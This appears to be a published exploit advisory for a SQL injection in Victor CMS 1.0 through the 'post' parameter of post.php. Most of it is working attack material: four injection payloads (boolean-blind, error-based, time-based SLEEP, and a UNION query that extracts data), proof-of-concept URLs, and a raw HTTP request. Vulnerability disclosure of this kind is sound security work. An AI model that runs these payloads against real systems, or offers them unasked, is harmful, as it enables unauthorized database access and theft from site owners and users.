# Exploit Title: Victor CMS 1.0 - 'post' SQL Injection # Google Dork: N/A # Date: 2020-05-09 # Exploit Author: BKpatron # Vendor Homepage: https://github.com/VictorAlagwu/CMSsite # Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip # Version: v1.0 # Tested on: Win 10 # CVE: N/A # my website: bkpatron.com # Discription: # The Victor CMS v1.0 application is vulnerable to SQL injection via the 'post' parameter on the post.php page. # vulnerable file : post.php http://localhost/CMSsite-master/post.php?post=1 Parameter: post (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: post=1 AND 2333=2333 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: post=1 AND (SELECT 4641 FROM(SELECT COUNT(*),CONCAT(0x7178787871,(SELECT (ELT(4641=4641,1))),0x717a627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: post=1 AND (SELECT 7147 FROM (SELECT(SLEEP(5)))vltp) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: post=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL-- PTYU [INFO] the back-end DBMS is MySQL web application technology: PHP, Apache 2.4.39, PHP 7.2.18 back-end DBMS: MySQL >= 5.0 # Proof of Concept: http://localhost/CMSsite-master/post.php?post=sqli http://localhost/CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU GET /CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=gd27m8o57gcb23t7se4d4tdv1g Connection: keep-alive Upgrade-Insecure-Requests: 1 post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU